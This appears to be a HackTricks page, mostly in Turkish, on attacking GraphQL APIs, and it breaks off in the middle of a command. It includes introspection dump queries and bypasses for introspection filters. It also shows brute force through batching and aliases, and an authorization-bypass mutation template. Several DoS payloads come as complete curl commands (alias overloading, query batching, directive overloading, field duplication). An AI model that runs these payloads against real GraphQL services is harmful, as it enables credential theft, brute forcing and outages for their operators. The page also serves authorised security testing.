GraphQL
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Giriş
GraphQL, backend’den veri sorgulamak için basitleştirilmiş bir yaklaşım sunan, REST API’ye göre öne çıkan bir etkin alternatif olarak kabul edilir. REST’in verileri toplamak için genellikle farklı endpoint’lere birçok istek göndermeyi gerektirmesinin aksine, GraphQL tüm gerekli bilgiyi tek bir istek ile almayı mümkün kılar. Bu sadeleştirme, veri alma süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar.
GraphQL ve Güvenlik
GraphQL dahil yeni teknolojilerin ortaya çıkmasıyla birlikte yeni güvenlik açıkları da ortaya çıkar. Önemli bir nokta: GraphQL varsayılan olarak kimlik doğrulama mekanizmalarını içermez. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Uygun kimlik doğrulama olmadan, GraphQL endpoint’leri hassas bilgileri yetkilendirilmemiş kullanıcılara açabilir ve ciddi bir güvenlik riski oluşturabilir.
Directory Brute Force Attacks and GraphQL
Açık GraphQL örneklerini tespit etmek için directory brute force attacks’a belirli path’lerin dahil edilmesi önerilir. Bu path’ler şunlardır:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
Açık GraphQL örneklerinin tespiti, desteklenen sorguların incelenmesine olanak tanır. Bu, endpoint üzerinden erişilebilen verilerin anlaşılması açısından kritiktir. GraphQL’in introspection sistemi, bir şemanın hangi sorguları desteklediğini ayrıntılı olarak sunarak bunu kolaylaştırır. Daha fazla bilgi için GraphQL’in introspection dokümantasyonuna bakın: GraphQL: API’ler için bir sorgu dili.
Fingerprint
The tool graphw00f is capable to detect which GraphQL engine is used in a server and then prints some helpful information for the security auditor.
Universal queries
Bir URL’nin GraphQL servisi olup olmadığını kontrol etmek için bir universal query, query{__typename}, gönderilebilir. Eğer yanıt {"data": {"__typename": "Query"}} içeriyorsa, bu URL’nin bir GraphQL endpoint’i barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü gösteren GraphQL’in __typename alanına dayanır.
query{__typename}
Temel Keşif
Graphql genellikle GET, POST (x-www-form-urlencoded) ve POST(json) destekler. Ancak güvenlik nedeniyle CSRF saldırılarını önlemek için yalnızca json’a izin verilmesi önerilir.
İntrospeksiyon
Şema bilgilerini keşfetmek için introspeksiyonu kullanmak üzere __schema alanını sorgulayın. Bu alan tüm sorguların kök tipinde mevcuttur.
query={__schema{types{name,fields{name}}}}
Bu sorguyla kullanılan tüm tiplerin isimlerini bulacaksınız:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Bu sorguyla tüm tipleri, alanlarını ve argümanlarını (ve argümanların tiplerini) çıkarabilirsiniz. Bu, veritabanına nasıl sorgu yapacağınızı bilmek için çok faydalı olacaktır.
.png)
Hatalar
Hangi hataların gösterileceğini bilmek ilginçtir çünkü bunlar faydalı bilgiler sağlar.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
Veritabanı Şemasını Introspection ile Listeleme
Tip
introspection etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından
onOperation,onFragmentveonFielddirektiflerini kaldırmayı deneyin.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Satır içi introspection sorgusu:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Son kod satırı, GraphQL’den tüm meta-bilgileri (nesne isimleri, parametreler, tipler…) dökecek bir GraphQL sorgusudur.
.png)
Eğer introspection etkinse, tüm seçenekleri GUI üzerinde görüntülemek için GraphQL Voyager kullanabilirsiniz.
Sorgulama
Veritabanında hangi tür bilgilerin saklandığını öğrendiğimize göre, şimdi bazı değerleri çıkaralım.
Introspection içinde, hangi nesneyi doğrudan sorgulayabileceğinizi bulabilirsiniz (çünkü bir nesne sadece var diye sorgulanamaz). Aşağıdaki resimde “queryType”’ın “Query” olarak adlandırıldığını ve “Query” nesnesinin alanlarından birinin “flags” olduğunu görebilirsiniz; bu aynı zamanda bir nesne tipidir. Bu nedenle flags nesnesini sorgulayabilirsiniz.

Dikkat edin ki flags sorgusunun tipi Flags ve bu nesne aşağıdaki gibi tanımlanmıştır:
.png)
Görüldüğü gibi Flags nesneleri name ve value’dan oluşur. Böylece tüm flag’lerin isimlerini ve değerlerini şu sorgu ile alabilirsiniz:
query={flags{name, value}}
Sorgulanacak nesne aşağıdaki örnekte olduğu gibi bir ilkel tür (ör. string) ise
.png)
Bunu şu şekilde doğrudan sorgulayabilirsiniz:
query = { hiddenFlags }
Başka bir örnekte “Query” tipindeki nesnenin içinde 2 obje vardı: “user” ve “users”.
Eğer bu objelerin arama için herhangi bir argümana ihtiyacı yoksa, sadece istediğiniz verileri isteyerek bunlardan tüm bilgileri alabilirsiniz. İnternetten alınan bu örnekte kayıtlı kullanıcı adları ve parolaları çıkarabilirsiniz:
.png)
Ancak, bu örnekte bunu yapmaya çalışırsanız bu hatayı alırsınız:
.png)
Görünüşe göre bir şekilde Int tipi olan “uid” argümanını kullanarak arama yapıyor.
Zaten bunu biliyorduk; Basic Enumeration bölümünde ihtiyacımız olan tüm bilgileri gösteren bir sorgu verilmişti: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Sorguyu çalıştırdığımda sağlanan görüntüye bakarsanız “user”’ın Int tipi olan “uid” arg’ına sahip olduğunu görürsünüz.
Bu yüzden, hafif bir uid bruteforce’u yaparak uid=1’de bir kullanıcı adı ve parola elde ettiğimi buldum:query={user(uid:1){user,password}}
.png)
Belirtmek gerekir ki, “user” ve “password” parametrelerini isteyebileceğimi fark ettim çünkü var olmayan bir şeyi aramaya çalışırsam (query={user(uid:1){noExists}}) şu hatayı alıyorum:
.png)
Ve enumeration phase sırasında “dbuser” objesinin alanlarının “user” ve “password” olduğunu keşfettim.
Query string dump trick (thanks to @BinaryShadow_)
Eğer string tipinde bir alanla arama yapabiliyorsanız, örneğin: query={theusers(description: ""){username,password}} ve boş bir string ararsanız bu tüm verileri döker. (Not: bu örnek tutorial örneğiyle ilgili değildir; bu örnekte varsayalım ki “theusers” adlı alanı “description” adında bir String alanıyla arayabiliyorsunuz).
Arama
Bu kurulumda bir database içinde persons ve movies bulunuyor. Persons, email ve name ile tanımlanır; movies ise name ve rating ile tanımlanır. Persons birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir; bu, veritabanındaki ilişkileri gösterir.
Kişileri name’e göre arayıp e-postalarını alabilirsiniz:
{
searchPerson(name: "John Doe") {
email
}
}
Kişileri isim ile arabilir ve onların abone filmlerini alabilirsiniz:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Kişinin subscribedMovies öğesinin name alanını almak için nasıl belirtildiğine dikkat edin.
Ayrıca aynı anda birkaç nesneyi arayabilirsiniz. Bu durumda 2 film araması yapılmıştır:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Ya da hatta takma adlar kullanılarak birkaç farklı nesnenin ilişkileri:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutasyonlar
Mutasyonlar sunucu tarafında değişiklik yapmak için kullanılır.
İç introspeksiyonda bildirilmiş mutasyonları bulabilirsiniz. Aşağıdaki görselde “MutationType” “Mutation” olarak adlandırılmıştır ve “Mutation” nesnesi mutasyon isimlerini içerir (bu durumda “addPerson” gibi):
.png)
Bu kurulumda bir veritabanı kişiler ve filmler içerir. Kişiler e-posta ve isim ile tanımlanır; filmler ise isim ve puan ile tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilirler; bu veritabanı içindeki ilişkileri gösterir.
Veritabanına yeni filmler eklemek için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon addMovie olarak adlandırılmıştır):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Sorguda hem değerlerin hem de veri türlerinin nasıl belirtildiğine dikkat edin.
Ek olarak, veritabanı addPerson adlı bir mutation işlemini destekler; bu işlem, yeni persons oluştururken bunların mevcut friends ve movies ile ilişkilendirilmesine olanak tanır. Yeni oluşturulan kişiye bu friends ve movies bağlanmadan önce veritabanında önceden var olmaları gerektiğini belirtmek önemlidir.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
As explained in one of the vulns described in this report, a directive overloading implies to call of a directive even millions of times to make the server waste operations until it’s possible to DoS it.
Batching brute-force in 1 API request
This information was take from https://lab.wallarm.com/graphql-batching-attack/.
GraphQL API üzerinden kimlik doğrulamayı farklı kimlik bilgileriyle aynı anda birçok sorgu göndererek kontrol etmek mümkündür. Bu klasik bir brute force attack’tir, ancak GraphQL batching özelliği sayesinde artık bir HTTP isteğinde birden fazla login/password çiftini göndermek mümkün. Bu yaklaşım, dışarıdaki rate monitoring uygulamalarını her şeyin yolunda olduğuna ve parola tahmini yapan bir brute-forcing botu olmadığına inandırır.
Aşağıda bir uygulama kimlik doğrulama isteğinin en basit gösterimini, aynı anda 3 farklı email/password çiftini içerecek şekilde bulabilirsiniz. Elbette aynı şekilde tek bir istekte binlerce göndermek de mümkündür:
.png)
Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü istekler null döndürdü ve ilgili bilgiler error bölümünde yansıtıldı. İkinci mutation doğru authentication verisine sahipti ve yanıt doğru authentication session token’ını içeriyordu.
 (1).png)
GraphQL’de Introspection Olmadan
Giderek daha fazla graphql endpoint’i introspection’ı devre dışı bırakıyor. Ancak, graphql beklenmeyen bir istek aldığında fırlattığı hatalar, clairvoyance gibi araçların şemanın çoğunu yeniden oluşturması için yeterli oluyor.
Ayrıca, Burp Suite eklentisi GraphQuail Burp’tan geçen GraphQL API isteklerini gözlemler ve gördüğü her yeni sorguyla dahili bir GraphQL schema oluşturur. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Eklenti bir introspection sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için buna bakın.
GraphQL varlıklarını keşfetmek için güzel bir wordlist burada bulunabilir.
Bypassing GraphQL introspection defences
API’lerdeki introspection sorgularına yönelik kısıtlamaları aşmak için __schema anahtar sözcüğünden sonra özel bir karakter eklemek etkili olur. Bu yöntem, introspection’ı engellemeye çalışan regex desenlerinde geliştiricilerin sık yaptığı ihmalleri istismar eder; bu desenler genellikle sadece __schema anahtar sözcüğüne odaklanır. GraphQL’in yok saydığı ancak regex’te hesaba katılmamış olabilecek boşluklar, yeni satırlar ve virgüller gibi karakterleri ekleyerek kısıtlamalar aşılabilir. Örneğin, __schema’dan sonra bir yeni satır içeren bir introspection sorgusu bu tür savunmaları atlatabilir:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Başarısız olursa, kısıtlamalar yalnızca POST isteklerine uygulanıyor olabilir; bu yüzden GET requests veya POST with x-www-form-urlencoded gibi alternatif istek yöntemlerini düşünün.
WebSockets’i Deneyin
this talk’ta bahsedildiği gibi, WebSockets aracılığıyla graphQL’e bağlanmanın mümkün olup olmadığını kontrol edin; bu, olası bir WAF’ı atlatmanıza ve websocket iletişiminin graphQL şemasını leak etmesine izin verebilir:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Açığa Çıkmış GraphQL Yapılarını Keşfetme
Introspection devre dışı bırakıldığında, JavaScript kütüphanelerindeki önceden yüklenmiş sorguları tespit etmek için sitenin kaynak kodunu incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki Sources sekmesi kullanılarak bulunabilir; API’nin şeması hakkında bilgi sağlar ve potansiyel olarak açığa çıkmış hassas sorguları ortaya çıkarır. Geliştirici araçlarında arama yapmak için kullanılacak komutlar şunlardır:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Hata tabanlı şema yeniden oluşturma & engine fingerprinting (InQL v6.1+)
Introspection engellendiğinde, InQL v6.1+ artık yalnızca hata geri bildirimlerinden ulaşılabilir şemayı yeniden oluşturabilir. Yeni schema bruteforcer, yapılandırılabilir bir wordlist’ten aday alan/argument isimlerini partiler halinde toplar ve HTTP chatter’ı azaltmak için bunları çok alanlı işlemlerde gönderir. Faydalı hata desenleri daha sonra otomatik olarak toplanır:
Field 'bugs' not found on type 'inql'üst türün varlığını doğrular ve geçersiz alan isimlerini eler.Argument 'contribution' is requiredbir argümanın zorunlu olduğunu gösterir ve yazımını açığa çıkarır.Did you mean 'openPR'?gibi öneri ipuçları doğrulanmış adaylar olarak kuyruğa geri eklenir.- Kasıtlı olarak yanlış primitive tipte değerler (ör. integers for strings) gönderildiğinde bruteforcer, gerçek type imzasını leak eden tür uyuşmazlığı hatalarını tetikler; bu,
[Episode!]gibi liste/nesne sarmalayıcılarını da açığa çıkarır.
Bruteforcer, yeni alanlar veren herhangi bir tip üzerinde yinelemeye devam eder; bu nedenle genel GraphQL isimlerini uygulamaya özgü tahminlerle karıştıran bir wordlist sonunda introspection olmadan şemanın büyük parçalarını haritalandırır. Çalışma zamanı büyük ölçüde rate limiting ve aday hacmiyle sınırlıdır; bu yüzden InQL ayarlarının (wordlist, batch size, throttling, retries) ince ayarı, daha gizli operasyonlar için kritiktir.
Aynı sürümde, InQL GraphQL engine fingerprinter ile gelir (imzaları graphw00f gibi araçlardan ödünç alır). Bu modül kasıtlı olarak geçersiz directives/queries gönderir ve tam hata metnini eşleştirerek backend’i sınıflandırır. Örneğin:
query @deprecated {
__typename
}
- Apollo
Directive "@deprecated" may not be used on QUERY.ile yanıt verir. - GraphQL Ruby
'@deprecated' can't be applied to queriesdiye yanıt verir.
Bir motor tanındığında, InQL ilgili girişi GraphQL Threat Matrix üzerinden ortaya çıkarır ve testçilerin o sunucu ailesiyle birlikte gelen zayıflıkları (varsayılan introspection davranışı, derinlik limitleri, CSRF boşlukları, dosya yüklemeleri, vb.) önceliklendirmesine yardımcı olur.
Son olarak, otomatik değişken oluşturma Burp Repeater/Intruder’a geçerken klasik bir engeli ortadan kaldırır. Bir işlem variables JSON gerektirdiğinde, InQL artık geçerli varsayılanları enjekte ederek isteğin ilk gönderimde şema doğrulamasından geçmesini sağlar:
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Nested input objects aynı eşlemeyi miras alır; bu sayede sentaktik ve semantik olarak geçerli bir payload elde eder ve her argümanı manuel olarak reverse-engineering yapmadan SQLi/NoSQLi/SSRF/logic bypasses için fuzzed edebilirsiniz.
GraphQL’de CSRF
CSRF’nin ne olduğunu bilmiyorsanız aşağıdaki sayfayı okuyun:
CSRF (Cross Site Request Forgery)
Orada birkaç GraphQL endpoint’inin CSRF tokens olmadan yapılandırıldığını bulabileceksiniz.
GraphQL isteklerinin genellikle POST istekleriyle ve Content-Type application/json kullanılarak gönderildiğini unutmayın.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Ancak, çoğu GraphQL uç noktası ayrıca destekler form-urlencoded POST requests:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Bu nedenle, önceki örneklerde olduğu gibi CSRF istekleri preflight requests olmadan gönderildiği için, bir CSRF’yi kötüye kullanarak GraphQL’de değişiklikler yapmak mümkün olabilir.
Ancak, Chrome’un samesite bayrağının yeni varsayılan cookie değeri Lax olduğunu unutmayın. Bu, cookie’nin yalnızca üçüncü taraf bir web’den yapılan GET isteklerinde gönderileceği anlamına gelir.
Genellikle query request’in bir GET request olarak da gönderilebileceğini ve CSRF token’ının bir GET isteğinde doğrulanmayabileceğini unutmayın.
Ayrıca, XS-Search attack’i kötüye kullanarak, kullanıcının kimlik bilgilerini kullanıp GraphQL endpoint’inden içerik exfiltrate etmek mümkün olabilir.
Daha fazla bilgi için bakın: original post here.
Cross-site WebSocket hijacking in GraphQL
GraphQL’u kötüye kullanan CRSF zafiyetlerine benzer şekilde, korunmayan cookie’lerle GraphQL kimlik doğrulamasını kötüye kullanmak için Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies gerçekleştirmek ve kullanıcının GraphQL’de beklenmeyen eylemler yapmasını sağlamak da mümkündür.
Daha fazla bilgi için bakın:
Authorization in GraphQL
Endpoint’te tanımlı birçok GraphQL fonksiyonu, isteği yapanın authentication’ını kontrol ediyor olabilir ancak authorization’ı kontrol etmeyebilir.
Sorgu giriş değişkenlerini değiştirmek, hassas hesap bilgilerinin leaked olmasına yol açabilir.
Mutation, diğer hesap verilerini değiştirmeye çalışarak account takeover’a bile yol açabilir.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Bypass authorization in GraphQL
Aşağıdaki örnekte işlemin “forgotPassword” olduğunu ve yalnızca bununla ilişkili forgotPassword sorgusunun çalıştırılması gerektiğini görebilirsiniz. Bu, sonuna bir sorgu eklenerek atlatılabilir; bu durumda “register” ve sistemin yeni bir kullanıcı olarak kaydetmesi için bir user variable ekliyoruz.
Bypassing Rate Limits Using Aliases in GraphQL
In GraphQL, aliases are a powerful feature that allow for the naming of properties explicitly when making an API request. This capability is particularly useful for retrieving multiple instances of the same type of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name.
For a detailed understanding of GraphQL aliases, the following resource is recommended: Aliases.
While the primary purpose of aliases is to reduce the necessity for numerous API calls, an unintended use case has been identified where aliases can be leveraged to execute brute force attacks on a GraphQL endpoint. This is possible because some endpoints are protected by rate limiters designed to thwart brute force attacks by restricting the number of HTTP requests. However, these rate limiters might not account for the number of operations within each request. Given that aliases allow for the inclusion of multiple queries in a single HTTP request, they can circumvent such rate limiting measures.
Aşağıda verilen örneği inceleyin; bu örnek aliased queries’in mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini gösterir. Bu yöntem, birkaç sorguyu tek bir HTTP request içinde derlediği için rate limiting’i atlatabilir ve potansiyel olarak çok sayıda indirim kodunun eş zamanlı olarak doğrulanmasına imkan tanıyabilir.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading bir GraphQL zafiyetidir; saldırganlar aynı alan için birçok alias kullanarak bir sorguyu aşırı yükler ve bu da backend resolver’ın o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını zorlayarak bir Denial of Service (DoS) ile sonuçlanabilir. Örneğin, aşağıdaki sorguda aynı alan (expensiveField) alias’lar kullanılarak 1,000 kez talep ediliyor; bu, backend’i onu 1,000 kez hesaplamaya zorlayarak CPU veya belleğin tükenmesine yol açabilir:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Bunu hafifletmek için kaynak kötüye kullanımını önlemek amacıyla alias count limits, query complexity analysis veya rate limiting uygulayın.
Array-based Query Batching
Array-based Query Batching bir GraphQL API’nin tek bir istekte birden fazla sorguyu aynı anda çalıştırmasına izin veren bir zafiyettir; bu, saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu durum, tüm toplu sorguların paralel çalıştırılmasıyla backend’i bunaltabilir, aşırı kaynak (CPU, bellek, veritabanı bağlantıları) tüketimine yol açabilir ve potansiyel olarak bir Denial of Service (DoS)’a sebep olabilir. Bir batch içindeki sorgu sayısı için bir limit yoksa, saldırgan bunu hizmetin kullanılabilirliğini düşürmek için suistimal edebilir.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilmiş (batched) olarak gönderilmiş ve sunucuyu bunların hepsini aynı anda çalıştırmaya zorlamıştır. Daha büyük bir batch boyutu veya hesaplama açısından pahalı sorgularla istismar edildiğinde, sunucuyu aşırı yükleyebilir.
Directive Overloading Vulnerability
Directive Overloading, bir GraphQL sunucusunun aşırı sayıda ve yinelenen directives içeren sorgulara izin vermesi durumunda ortaya çıkar. Bu, özellikle sunucu aynı directive mantığını tekrar tekrar işlerse, sunucunun parser’ını ve executor’ünü bunaltabilir. Uygun doğrulama veya sınırlar olmadan, bir saldırgan birçok tekrar eden directive içeren bir sorgu oluşturarak yüksek işlem veya bellek kullanımı tetikleyebilir ve bu da Denial of Service (DoS) ile sonuçlanabilir.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Önceki örnekte @aa özel bir direktif olup tanımlı olmayabilir. Genellikle bulunan yaygın bir direktif @include’dir:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Ayrıca bildirilen tüm yönergeleri keşfetmek için bir introspection sorgusu gönderebilirsiniz:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
Ve sonra bazı özel olanları kullanın.
Field Duplication Vulnerability
Field Duplication, bir GraphQL sunucusunun aynı alanın aşırı tekrarlandığı sorgulara izin verdiği bir zafiyettir. Bu durum sunucunun her örnek için alanı gereksiz yere çözmesini zorlar ve önemli kaynakları (CPU, hafıza ve veritabanı çağrıları) tüketir. Bir saldırgan yüzlerce veya binlerce tekrar eden alan içeren sorgular oluşturabilir; bu, yüksek yüke neden olarak potansiyel şekilde bir Denial of Service (DoS) durumuna yol açabilir.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 